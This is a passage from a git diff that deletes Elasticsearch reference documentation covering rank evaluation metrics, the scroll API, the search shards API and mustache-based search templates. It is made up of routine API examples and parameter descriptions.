-R@k works well as a simple evaluation metric that has the benefit of being easy
-to understand and explain. Documents in the collection need to be rated as either
-relevant or irrelevant with respect to the current query. R@k is a set-based
-metric and does not take into account the position of the relevant documents
-within the top k results, so a ranking of ten results that contains one
-relevant result in position 10 is equally as good as a ranking of ten results
-that contains one relevant result in position 1.
-
-[source,console]
---------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [
-    {
-      "id": "JFK query",
-      "request": { "query": { "match_all": {} } },
-      "ratings": []
-    } ],
-  "metric": {
-    "recall": {
-      "k": 20,
-      "relevant_rating_threshold": 1
-    }
-  }
-}
---------------------------------
-// TEST[setup:my_index]
-
-The `recall` metric takes the following optional parameters
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Parameter |Description
-|`k` |sets the maximum number of documents retrieved per query. This value will act in place of the usual `size` parameter
-in the query. Defaults to 10.
-|`relevant_rating_threshold` |sets the rating threshold above which documents are considered to be
-"relevant". Defaults to `1`.
-|=======================================================================
-
-
-[discrete]
-===== Mean reciprocal rank
-
-For every query in the test suite, this metric calculates the reciprocal of the
-rank of the first relevant document. For example, finding the first relevant
-result in position 3 means the reciprocal rank is 1/3. The reciprocal rank for
-each query is averaged across all queries in the test suite to give the
-{wikipedia}/Mean_reciprocal_rank[mean reciprocal rank].
-
-[source,console]
---------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [
-    {
-      "id": "JFK query",
-      "request": { "query": { "match_all": {} } },
-      "ratings": []
-    } ],
-  "metric": {
-    "mean_reciprocal_rank": {
-      "k": 20,
-      "relevant_rating_threshold": 1
-    }
-  }
-}
---------------------------------
-// TEST[setup:my_index]
-
-The `mean_reciprocal_rank` metric takes the following optional parameters
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Parameter |Description
-|`k` |sets the maximum number of documents retrieved per query. This value will act in place of the usual `size` parameter
-in the query. Defaults to 10.
-|`relevant_rating_threshold` |Sets the rating threshold above which documents are considered to be
-"relevant". Defaults to `1`.
-|=======================================================================
-
-
-[discrete]
-===== Discounted cumulative gain (DCG)
-
-In contrast to the two metrics above,
-{wikipedia}/Discounted_cumulative_gain[discounted cumulative gain]
-takes both the rank and the rating of the search results into account.
-
-The assumption is that highly relevant documents are more useful for the user
-when appearing at the top of the result list. Therefore, the DCG formula reduces
-the contribution that high ratings for documents on lower search ranks have on
-the overall DCG metric.
-
-[source,console]
---------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [
-    {
-      "id": "JFK query",
-      "request": { "query": { "match_all": {} } },
-      "ratings": []
-    } ],
-  "metric": {
-    "dcg": {
-      "k": 20,
-      "normalize": false
-    }
-  }
-}
---------------------------------
-// TEST[setup:my_index]
-
-The `dcg` metric takes the following optional parameters:
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Parameter |Description
-|`k` |sets the maximum number of documents retrieved per query. This value will act in place of the usual `size` parameter
-in the query. Defaults to 10.
-|`normalize` | If set to `true`, this metric will calculate the {wikipedia}/Discounted_cumulative_gain#Normalized_DCG[Normalized DCG].
-|=======================================================================
-
-
-[discrete]
-===== Expected Reciprocal Rank (ERR)
-
-Expected Reciprocal Rank (ERR) is an extension of the classical reciprocal rank
-for the graded relevance case (Olivier Chapelle, Donald Metzler, Ya Zhang, and
-Pierre Grinspan. 2009.
-https://olivier.chapelle.cc/pub/err.pdf[Expected reciprocal rank for graded relevance].)
-
-It is based on the assumption of a cascade model of search, in which a user
-scans through ranked search results in order and stops at the first document
-that satisfies the information need. For this reason, it is a good metric for
-question answering and navigation queries, but less so for survey-oriented
-information needs where the user is interested in finding many relevant
-documents in the top k results.
-
-The metric models the expectation of the reciprocal of the position at which a
-user stops reading through the result list. This means that a relevant document
-in a top ranking position will have a large contribution to the overall score.
-However, the same document will contribute much less to the score if it appears
-in a lower rank; even more so if there are some relevant (but maybe less relevant)
-documents preceding it. In this way, the ERR metric discounts documents that
-are shown after very relevant documents. This introduces a notion of dependency
-in the ordering of relevant documents that e.g. Precision or DCG don't account
-for.
-
-[source,console]
---------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [
-    {
-      "id": "JFK query",
-      "request": { "query": { "match_all": {} } },
-      "ratings": []
-    } ],
-  "metric": {
-    "expected_reciprocal_rank": {
-      "maximum_relevance": 3,
-      "k": 20
-    }
-  }
-}
---------------------------------
-// TEST[setup:my_index]
-
-The `expected_reciprocal_rank` metric takes the following parameters:
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Parameter |Description
-| `maximum_relevance` | Mandatory parameter. The highest relevance grade used in the user-supplied
-relevance judgments.
-|`k` | sets the maximum number of documents retrieved per query. This value will act in place of the usual `size` parameter
-in the query. Defaults to 10.
-|=======================================================================
-
-
-===== Response format
-
-The response of the `_rank_eval` endpoint contains the overall calculated result
-for the defined quality metric, a `details` section with a breakdown of results
-for each query in the test suite and an optional `failures` section that shows
-potential errors of individual queries. The response has the following format:
-
-[source,js]
---------------------------------
-{
-  "rank_eval": {
-    "metric_score": 0.4,                          <1>
-      "details": {
-      "my_query_id1": {                           <2>
-        "metric_score": 0.6,                      <3>
-        "unrated_docs": [                         <4>
-          {
-            "_index": "my-index-000001",
-            "_id": "1960795"
-          }, ...
-        ],
-        "hits": [
-          {
-            "hit": {                              <5>
-              "_index": "my-index-000001",
-              "_type": "page",
-              "_id": "1528558",
-              "_score": 7.0556192
-            },
-            "rating": 1
-          }, ...
-        ],
-        "metric_details": {                       <6>
-          "precision": {
-            "relevant_docs_retrieved": 6,
-            "docs_retrieved": 10
-          }
-        }
-      },
-      "my_query_id2": { [... ] }
-    },
-    "failures": { [... ] }
-  }
-}
---------------------------------
-// NOTCONSOLE
-
-<1> the overall evaluation quality calculated by the defined metric
-<2> the `details` section contains one entry for every query in the original `requests` section, keyed by the search request id
-<3> the `metric_score` in the `details` section shows the contribution of this query to the global quality metric score
-<4> the `unrated_docs` section contains an `_index` and `_id` entry for each document in the search result for this
-query that didn't have a ratings value. This can be used to ask the user to supply ratings for these documents
-<5> the `hits` section shows a grouping of the search results with their supplied ratings
-<6> the `metric_details` give additional information about the calculated quality metric (e.g. how many of the retrieved
-documents were relevant). The content varies for each metric but allows for better interpretation of the results
diff --git a/docs/reference/search/scroll-api.asciidoc b/docs/reference/search/scroll-api.asciidoc
deleted file mode 100644
index 98627abf905..00000000000
--- a/docs/reference/search/scroll-api.asciidoc
+++ /dev/null
@@ -1,146 +0,0 @@
-[[scroll-api]]
-=== Scroll API
-++++
-<titleabbrev>Scroll</titleabbrev>
-++++
-
-IMPORTANT: We no longer recommend using the scroll API for deep pagination. If
-you need to preserve the index state while paging through more than 10,000 hits,
-use the <<search-after,`search_after`>> parameter with a point in time (PIT).
-
-Retrieves the next batch of results for a <<scroll-search-results,scrolling
-search>>.
-
-////
-[source,console]
---------------------------------------------------
-GET /_search?scroll=1m
-{
-  "size": 1,
-  "query": {
-    "match_all": {}
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-////
-
-[source,console]
---------------------------------------------------
-GET /_search/scroll
-{
-  "scroll_id" : "DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ=="
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/DXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAD4WYm9laVYtZndUQlNsdDcwakFMNjU1QQ==/$body._scroll_id/]
-
-[[scroll-api-request]]
-==== {api-request-title}
-
-`GET /_search/scroll/<scroll_id>`
-deprecated:[7.0.0]
-
-`GET /_search/scroll`
-
-`POST /_search/scroll/<scroll_id>`
-deprecated:[7.0.0]
-
-`POST /_search/scroll`
-
-[[scroll-api-desc]]
-==== {api-description-title}
-
-You can use the scroll API to retrieve large sets of results from a single
-<<scroll-search-results,scrolling search>> request.
-
-The scroll API requires a scroll ID. To get a scroll ID, submit a
-<<search-search,search API>> request that includes an argument for the
-<<search-api-scroll-query-param,`scroll` query parameter>>. The `scroll`
-parameter indicates how long {es} should retain the
-<<scroll-search-context,search context>> for the request.
-
-The search response returns a scroll ID in the `_scroll_id` response body
-parameter. You can then use the scroll ID with the scroll API to retrieve the
-next batch of results for the request.
-
-You can also use the scroll API to specify a new `scroll` parameter that extends
-or shortens the retention period for the search context.
-
-See <<scroll-search-results>>.
-
-IMPORTANT: Results from a scrolling search reflect the state of the index at the
-time of the initial search request. Subsequent indexing or document changes only
-affect later search and scroll requests.
-
-[[scroll-api-path-params]]
-==== {api-path-parms-title}
-
-`<scroll_id>`::
-deprecated:[7.0.0]
-(Optional, string)
-Scroll ID of the search.
-+
-IMPORTANT: Scroll IDs can be long. We recommend only specifying scroll IDs using
-the <<scroll-api-scroll-id-param,`scroll_id` request body parameter>>.
-
-[[scroll-api-query-params]]
-==== {api-query-parms-title}
-
-`scroll`::
-(Optional, <<time-units,time value>>)
-Period to retain the <<scroll-search-context,search context>> for scrolling. See
-<<scroll-search-results>>.
-+
-This value overrides the duration set by the original search API request's
-`scroll` parameter.
-+
-By default, this value cannot exceed `1d` (24 hours). You can change
-this limit using the `search.max_keep_alive` cluster-level setting.
-+
-IMPORTANT: You can also specify this value using the `scroll` request body
-parameter. If both parameters are specified, only the query parameter is used.
-
-`scroll_id`::
-deprecated:[7.0.0]
-(Optional, string)
-Scroll ID for the search.
-+
-IMPORTANT: Scroll IDs can be long. We recommend only specifying scroll IDs using
-the <<scroll-api-scroll-id-param,`scroll_id` request body parameter>>.
-
-`rest_total_hits_as_int`::
-(Optional, Boolean)
-If `true`, the API response's `hit.total` property is returned as an integer.
-If `false`, the API response's `hit.total` property is returned as an object.
-Defaults to `false`.
-
-[role="child_attributes"]
-[[scroll-api-request-body]]
-==== {api-request-body-title}
-
-`scroll`::
-(Optional, <<time-units,time value>>)
-Period to retain the <<scroll-search-context,search context>> for scrolling. See
-<<scroll-search-results>>.
-+
-This value overrides the duration set by the original search API request's
-`scroll` parameter.
-+
-By default, this value cannot exceed `1d` (24 hours). You can change
-this limit using the `search.max_keep_alive` cluster-level setting.
-+
-IMPORTANT: You can also specify this value using the `scroll` query
-parameter. If both parameters are specified, only the query parameter is used.
-
-[[scroll-api-scroll-id-param]]
-`scroll_id`::
-(Required, string)
-Scroll ID for the search.
-
-[role="child_attributes"]
-[[scroll-api-response-body]]
-==== {api-response-body-title}
-
-The scroll API returns the same response body as the search API. See the search
-API's <<search-api-response-body,response body parameters>>.
diff --git a/docs/reference/search/search-shards.asciidoc b/docs/reference/search/search-shards.asciidoc
deleted file mode 100644
index f44e129c0de..00000000000
--- a/docs/reference/search/search-shards.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[search-shards]]
-=== Search Shards API
-
-Returns the indices and shards that a search request would be executed against.
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search_shards
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards":5}}\n/]
-
-
-[[search-shards-api-request]]
-==== {api-request-title}
-
-`GET /<index>/_search_shards`
-
-
-[[search-shards-api-desc]]
-==== {api-description-title}
-
-The search shards api returns the indices and shards that a search request would
-be executed against. This can give useful feedback for working out issues or
-planning optimizations with routing and shard preferences. When filtered aliases
-are used, the filter is returned as part of the `indices` section.
-
-
-[[search-shards-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-
-
-[[search-shards-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
---
-Defaults to `open`.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-
-[[search-shards-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search_shards
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards":5}}\n/]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "nodes": ...,
-  "indices" : {
-    "my-index-000001": { }
-  },
-  "shards": [
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 0,
-        "state": "STARTED",
-        "allocation_id": {"id":"0TvkCyF7TAmM1wHP4a42-A"},
-        "relocating_node": null
-      }
-    ],
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 1,
-        "state": "STARTED",
-        "allocation_id": {"id":"fMju3hd1QHWmWrIgFnI4Ww"},
-        "relocating_node": null
-      }
-    ],
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 2,
-        "state": "STARTED",
-        "allocation_id": {"id":"Nwl0wbMBTHCWjEEbGYGapg"},
-        "relocating_node": null
-      }
-    ],
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 3,
-        "state": "STARTED",
-        "allocation_id": {"id":"bU_KLGJISbW0RejwnwDPKw"},
-        "relocating_node": null
-      }
-    ],
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 4,
-        "state": "STARTED",
-        "allocation_id": {"id":"DMs7_giNSwmdqVukF7UydA"},
-        "relocating_node": null
-      }
-    ]
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"nodes": ...,/"nodes": $body.nodes,/]
-// TESTRESPONSE[s/JklnKbD7Tyqi9TP3_Q_tBg/$body.shards.0.0.node/]
-// TESTRESPONSE[s/0TvkCyF7TAmM1wHP4a42-A/$body.shards.0.0.allocation_id.id/]
-// TESTRESPONSE[s/fMju3hd1QHWmWrIgFnI4Ww/$body.shards.1.0.allocation_id.id/]
-// TESTRESPONSE[s/Nwl0wbMBTHCWjEEbGYGapg/$body.shards.2.0.allocation_id.id/]
-// TESTRESPONSE[s/bU_KLGJISbW0RejwnwDPKw/$body.shards.3.0.allocation_id.id/]
-// TESTRESPONSE[s/DMs7_giNSwmdqVukF7UydA/$body.shards.4.0.allocation_id.id/]
-
-Specifying the same request, this time with a routing value:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search_shards?routing=foo,bar
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n{"settings":{"index.number_of_shards":5}}\n/]
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  "nodes": ...,
-  "indices" : {
-      "my-index-000001": { }
-  },
-  "shards": [
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 2,
-        "state": "STARTED",
-        "allocation_id": {"id":"fMju3hd1QHWmWrIgFnI4Ww"},
-        "relocating_node": null
-      }
-    ],
-    [
-      {
-        "index": "my-index-000001",
-        "node": "JklnKbD7Tyqi9TP3_Q_tBg",
-        "primary": true,
-        "shard": 3,
-        "state": "STARTED",
-        "allocation_id": {"id":"0TvkCyF7TAmM1wHP4a42-A"},
-        "relocating_node": null
-      }
-    ]
-  ]
-}
---------------------------------------------------
-// TESTRESPONSE[s/"nodes": ...,/"nodes": $body.nodes,/]
-// TESTRESPONSE[s/JklnKbD7Tyqi9TP3_Q_tBg/$body.shards.1.0.node/]
-// TESTRESPONSE[s/0TvkCyF7TAmM1wHP4a42-A/$body.shards.1.0.allocation_id.id/]
-// TESTRESPONSE[s/fMju3hd1QHWmWrIgFnI4Ww/$body.shards.0.0.allocation_id.id/]
-
-Because of the specified routing values,
-the search is only executed against two of the shards.
diff --git a/docs/reference/search/search-template.asciidoc b/docs/reference/search/search-template.asciidoc
deleted file mode 100644
index cf0c78bf549..00000000000
--- a/docs/reference/search/search-template.asciidoc
+++ /dev/null
@@ -1,706 +0,0 @@
-[[search-template]]
-=== Search Template
-
-Allows you to use the mustache language to pre render search requests.
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "source" : {
-    "query": { "match" : { "{{my_field}}" : "{{my_value}}" } },
-    "size" : "{{my_size}}"
-  },
-  "params" : {
-    "my_field" : "message",
-    "my_value" : "foo",
-    "my_size" : 5
-  }
-}
-------------------------------------------
-// TEST[setup:my_index]
-
-[[search-template-api-request]]
-==== {api-request-title}
-
-`GET _search/template`
-
-
-[[search-template-api-desc]]
-==== {api-description-title}
-
-The `/_search/template` endpoint allows you to use the mustache language to pre-
-render search requests, before they are executed and fill existing templates
-with template parameters.
-
-For more information on how Mustache templating and what kind of templating you
-can do with it check out the https://mustache.github.io/mustache.5.html[online
-documentation of the mustache project].
-
-NOTE: The mustache language is implemented in {es} as a sandboxed scripting
-language, hence it obeys settings that may be used to enable or disable scripts
-per type and context as described in the
-<<allowed-script-types-setting, scripting docs>>.
-
-
-[[search-template-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-
-
-[[search-template-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-`ccs_minimize_roundtrips`::
-  (Optional, Boolean) If `true`, network round-trips are minimized for
- cross-cluster search requests. Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-
-`explain`::
-  (Optional, Boolean) If `true`, the response includes additional details about
-  score computation as part of a hit. Defaults to `false`.
-
-`ignore_throttled`::
-  (Optional, Boolean) If `true`, specified concrete, expanded or aliased indices
-  are not included in the response when throttled. Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=preference]
-
-`profile`::
-  (Optional, Boolean) If `true`, the query execution is profiled. Defaults
-  to `false`.
-
-`rest_total_hits_as_int`::
-  (Optional, Boolean) If `true`, `hits.total` are rendered as an integer in
-  the response. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=routing]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=scroll]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=search_type]
-
-`typed_keys`::
-  (Optional, Boolean) If `true`, aggregation and suggester names are
-  prefixed by their respective types in the response. Defaults to `false`.
-
-
-[[search-template-api-request-body]]
-==== {api-request-body-title}
-
-The API request body must contain the search definition template and its parameters.
-
-
-[[search-template-api-example]]
-==== {api-response-codes-title}
-
-
-[[pre-registered-templates]]
-===== Store a search template
-
-You can store a search template using the stored scripts API.
-
-[source,console]
-------------------------------------------
-POST _scripts/<templateid>
-{
-  "script": {
-    "lang": "mustache",
-    "source": {
-      "query": {
-        "match": {
-          "title": "{{query_string}}"
-        }
-      }
-    }
-  }
-}
-------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-The API returns the following result if the template has been successfully
-created:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true
-}
---------------------------------------------------
-
-//////////////////////////
-
-
-The template can be retrieved by calling
-
-[source,console]
-------------------------------------------
-GET _scripts/<templateid>
-------------------------------------------
-// TEST[continued]
-
-The API returns the following result:
-
-[source,console-result]
-------------------------------------------
-{
-  "script" : {
-    "lang" : "mustache",
-    "source" : """{"query":{"match":{"title":"{{query_string}}"}}}""",
-    "options": {
-      "content_type" : "application/json; charset=UTF-8"
-    }
-  },
-  "_id": "<templateid>",
-  "found": true
-}
-------------------------------------------
-
-
-This template can be deleted by calling
-
-[source,console]
-------------------------------------------
-DELETE _scripts/<templateid>
-------------------------------------------
-// TEST[continued]
-
-
-[[use-registered-templates]]
-===== Using a stored search template
-
-To use a stored template at search time send the following request:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "id": "<templateid>", <1>
-  "params": {
-    "query_string": "search for these words"
-  }
-}
-------------------------------------------
-// TEST[catch:missing]
-<1> Name of the stored template script.
-
-
-[[_validating_templates]]
-==== Validating a search template
-
-A template can be rendered in a response with given parameters by using the
-following request:
-
-[source,console]
-------------------------------------------
-GET _render/template
-{
-  "source": "{ \"query\": { \"terms\": {{#toJson}}statuses{{/toJson}} }}",
-  "params": {
-    "statuses" : {
-        "status": [ "pending", "published" ]
-    }
-  }
-}
-------------------------------------------
-
-
-The API returns the rendered template:
-
-[source,console-result]
-------------------------------------------
-{
-  "template_output": {
-    "query": {
-      "terms": {
-        "status": [ <1>
-          "pending",
-          "published"
-        ]
-      }
-    }
-  }
-}
-------------------------------------------
-
-<1> `status` array has been populated with values from the `params` object.
-
-
-Stored templates can also be rendered by calling the following request:
-
-[source,js]
-------------------------------------------
-GET _render/template/<template_name>
-{
-  "params": {
-    "..."
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-
-[[search-template-explain-parameter]]
-===== Using the explain parameter
-
-You can use the `explain` parameter when running a template:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "id": "my_template",
-  "params": {
-    "status": [ "pending", "published" ]
-  },
-  "explain": true
-}
-------------------------------------------
-// TEST[catch:missing]
-
-
-[[search-template-profile-parameter]]
-===== Profiling
-
-You can use the `profile` parameter when running a template:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "id": "my_template",
-  "params": {
-    "status": [ "pending", "published" ]
-  },
-  "profile": true
-}
-------------------------------------------
-// TEST[catch:missing]
-
-
-[[search-template-query-string-single]]
-===== Filling in a query string with a single value
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "source": {
-    "query": {
-      "term": {
-        "message": "{{query_string}}"
-      }
-    }
-  },
-  "params": {
-    "query_string": "search for these words"
-  }
-}
-------------------------------------------
-// TEST[setup:my_index]
-
-[[search-template-converting-to-json]]
-===== Converting parameters to JSON
-
-The `{{#toJson}}parameter{{/toJson}}` function can be used to convert parameters
-like maps and array to their JSON representation:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "source": "{ \"query\": { \"terms\": {{#toJson}}statuses{{/toJson}} }}",
-  "params": {
-    "statuses" : {
-        "status": [ "pending", "published" ]
-    }
-  }
-}
-------------------------------------------
-
-which is rendered as:
-
-[source,js]
-------------------------------------------
-{
-  "query": {
-    "terms": {
-      "status": [
-        "pending",
-        "published"
-      ]
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-
-A more complex example substitutes an array of JSON objects:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "source": "{\"query\":{\"bool\":{\"must\": {{#toJson}}clauses{{/toJson}} }}}",
-  "params": {
-    "clauses": [
-      { "term": { "user" : "foo" } },
-      { "term": { "user" : "bar" } }
-    ]
-  }
-}
-------------------------------------------
-
-which is rendered as:
-
-[source,js]
-------------------------------------------
-{
-  "query": {
-    "bool": {
-      "must": [
-        {
-          "term": {
-            "user": "foo"
-          }
-        },
-        {
-          "term": {
-            "user": "bar"
-          }
-        }
-      ]
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-
-[[search-template-concatenate-array]]
-===== Concatenating array of values
-
-The `{{#join}}array{{/join}}` function can be used to concatenate the
-values of an array as a comma delimited string:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "source": {
-    "query": {
-      "match": {
-        "emails": "{{#join}}emails{{/join}}"
-      }
-    }
-  },
-  "params": {
-    "emails": [ "username@email.com", "lastname@email.com" ]
-  }
-}
-------------------------------------------
-
-which is rendered as:
-
-[source,js]
-------------------------------------------
-{
-  "query" : {
-    "match" : {
-      "emails" : "username@email.com,lastname@email.com"
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-
-The function also accepts a custom delimiter:
-
-[source,console]
-------------------------------------------
-GET _search/template
-{
-  "source": {
-    "query": {
-      "range": {
-        "born": {
-            "gte"   : "{{date.min}}",
-            "lte"   : "{{date.max}}",
-            "format": "{{#join delimiter='||'}}date.formats{{/join delimiter='||'}}"
-	    }
-      }
-    }
-  },
-  "params": {
-    "date": {
-        "min": "2016",
-        "max": "31/12/2017",
-        "formats": ["dd/MM/yyyy", "yyyy"]
-    }
-  }
-}
-------------------------------------------
-
-which is rendered as:
-
-[source,js]
-------------------------------------------
-{
-  "query": {
-    "range": {
-      "born": {
-        "gte": "2016",
-        "lte": "31/12/2017",
-        "format": "dd/MM/yyyy||yyyy"
-      }
-    }
-  }
-}
-
-------------------------------------------
-// NOTCONSOLE
-
-[[search-template-default-values]]
-===== Default values
-
-A default value is written as `{{var}}{{^var}}default{{/var}}` for instance:
-
-[source,js]
-------------------------------------------
-{
-  "source": {
-    "query": {
-      "range": {
-        "line_no": {
-          "gte": "{{start}}",
-          "lte": "{{end}}{{^end}}20{{/end}}"
-        }
-      }
-    }
-  },
-  "params": { ... }
-}
-------------------------------------------
-// NOTCONSOLE
-
-When `params` is `{ "start": 10, "end": 15 }` this query would be rendered as:
-
-[source,js]
-------------------------------------------
-{
-  "range": {
-    "line_no": {
-      "gte": "10",
-      "lte": "15"
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-
-But when `params` is `{ "start": 10 }` this query would use the default value
-for `end`:
-
-[source,js]
-------------------------------------------
-{
-  "range": {
-    "line_no": {
-      "gte": "10",
-      "lte": "20"
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-
-[[search-template-conditional-clauses]]
-===== Conditional clauses
-
-Conditional clauses cannot be expressed using the JSON form of the template.
-Instead, the template *must* be passed as a string.  For instance, let's say
-we wanted to run a `match` query on the `line` field, and optionally wanted
-to filter by line numbers, where `start` and `end` are optional.
-
-The `params` would look like:
-
-[source,js]
-------------------------------------------
-{
-  "params": {
-    "text": "words to search for",
-    "line_no": {                      <1>
-      "start": 10,
-      "end": 20
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-<1> The `line_no`, `start`, and `end` parameters are optional.
-
-When written as a query, the template would include invalid JSON, such as
-section markers like `{{#line_no}}`:
-
-[source,js]
-------------------------------------------
-{
-  "query": {
-    "bool": {
-      "must": {
-        "match": {
-          "line": "{{text}}" <1>
-        }
-      },
-      "filter": {
-        {{#line_no}} <2>
-          "range": {
-            "line_no": {
-              {{#start}} <3>
-                "gte": "{{start}}" <4>
-                {{#end}},{{/end}} <5>
-              {{/start}}
-              {{#end}} <6>
-                "lte": "{{end}}" <7>
-              {{/end}}
-            }
-          }
-        {{/line_no}}
-      }
-    }
-  }
-}
-------------------------------------------
-// NOTCONSOLE
-<1> Fill in the value of param `text`
-<2> Include the `range` filter only if `line_no` is specified
-<3> Include the `gte` clause only if `line_no.start` is specified
-<4> Fill in the value of param `line_no.start`
-<5> Add a comma after the `gte` clause only if `line_no.start`
-    AND `line_no.end` are specified
-<6> Include the `lte` clause only if `line_no.end` is specified
-<7> Fill in the value of param `line_no.end`
-
-Because search templates cannot include invalid JSON, you can pass the same
-query as a string instead:
-
-[source,js]
---------------------
-"source": "{\"query\":{\"bool\":{\"must\":{\"match\":{\"line\":\"{{text}}\"}},\"filter\":{{{#line_no}}\"range\":{\"line_no\":{{{#start}}\"gte\":\"{{start}}\"{{#end}},{{/end}}{{/start}}{{#end}}\"lte\":\"{{end}}\"{{/end}}}}{{/line_no}}}}}}"
---------------------
-// NOTCONSOLE
-
-
-[[search-template-encode-urls]]
-===== Encoding URLs
-
-The `{{#url}}value{{/url}}` function can be used to encode a string value
-in a HTML encoding form as defined in by the
-https://www.w3.org/TR/html4/[HTML specification].
-
-As an example, it is useful to encode a URL:
-
-[source,console]
-------------------------------------------
-GET _render/template
-{
-  "source": {
-    "query": {
-      "term": {
-        "http_access_log": "{{#url}}{{host}}/{{page}}{{/url}}"
-      }
-    }
-  },
-  "params": {
-    "host": "https://www.elastic.co/",
-    "page": "learn"
-  }
-}
-------------------------------------------
-
-
-The previous query will be rendered as:
-
-[source,console-result]
-------------------------------------------
-{
-  "template_output": {
-    "query": {
-      "term": {
-        "http_access_log": "https%3A%2F%2Fwww.elastic.co%2F%2Flearn"
-      }
-    }
-  }
-}
-------------------------------------------
-
-
-[[multi-search-template]]
-=== Multi Search Template
-
-Allows to execute several search template requests.
-
-[[multi-search-template-api-request]]
-==== {api-request-title}
-
-`GET _msearch/template`
-
-
-[[multi-search-template-api-desc]]
-==== {api-description-title}
-
-Allows to execute several search template requests within the same API using the
-`_msearch/template` endpoint.
-
-The format of the request is similar to the <<search-multi-search, Multi
-Search API>> format:
-
-[source,js]
---------------------------------------------------
-header\n
-body\n
-header\n
-body\n
---------------------------------------------------
-// NOTCONSOLE
-
-The header part supports the same `index`, `search_type`, `preference`, and
-`routing` options as the Multi Search API.
-
-The body includes a search template body request and supports inline, stored and
-file templates.
-
-
-[[multi-search-template-api-example]]
-==== {api-examples-title}
-
-[source,js]
---------------------------------------------------
-$ cat requests
-{"index": "test"}
-{"source": {"query": {"match":  {"user" : "{{username}}" }}}, "params": {"username": "john"}} <1>
-{"source": {"query": {"{{query_type}}": {"name": "{{name}}" }}}, "params": {"query_type": "match_phrase_prefix", "name": "Smith"}}
-{"index": "_all"}
-{"id": "template_1", "params": {"query_string": "search for these words" }} <2>
-
-$ curl -H "Content-Type: application/x-ndjson" -XGET localhost:9200/_msearch/template --data-binary "@requests"; echo
---------------------------------------------------
-// NOTCONSOLE
-// Not converting to console because this shows how curl works
-<1> Inline search template request
-
-<2> Search template request based on a stored template
-
-The response returns a `responses` array, which includes the search template
-response for each search template request matching its order in the original
